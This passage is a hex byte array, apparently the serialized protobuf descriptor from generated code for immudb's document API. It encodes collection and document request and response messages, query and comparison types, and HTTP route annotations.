0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x22, 0x54, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3a, 0x0a, 0x0b, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x53, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x38, + 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, + 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, + 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x22, 0x5e, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, + 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x64, 0x22, 0x72, 0x0a, 0x19, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x64, 0x0a, 0x1a, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, + 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, + 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x22, 0x97, 0x01, 0x0a, + 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, + 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x56, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x12, 0x3c, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xa4, + 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, + 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, + 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, + 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, + 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, + 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x48, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x3f, + 0x0a, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, + 0x5c, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, + 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, + 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x52, 0x10, 0x66, 0x69, 0x65, + 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x22, 0x93, 0x01, + 0x0a, 0x0f, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, + 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, + 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, + 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, + 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x22, 0x58, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, + 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, + 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, + 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8b, 0x01, + 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, + 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, + 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, + 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, + 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x98, 0x01, 0x0a, 0x14, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, + 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, + 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x57, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, + 0xb6, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, + 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, + 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, + 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xc4, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, + 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x49, 0x64, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, + 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, + 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x2a, + 0x47, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, + 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, 0x4c, + 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, + 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x08, + 0x0a, 0x04, 0x42, 0x4c, 0x4f, 0x42, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x12, 0x43, 0x6f, 0x6d, 0x70, + 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, + 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, + 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, + 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, + 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x32, 0xad, 0x0c, 0x0a, 0x0f, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x91, 0x01, 0x0a, + 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, + 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x12, 0x82, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, + 0x65, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x89, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 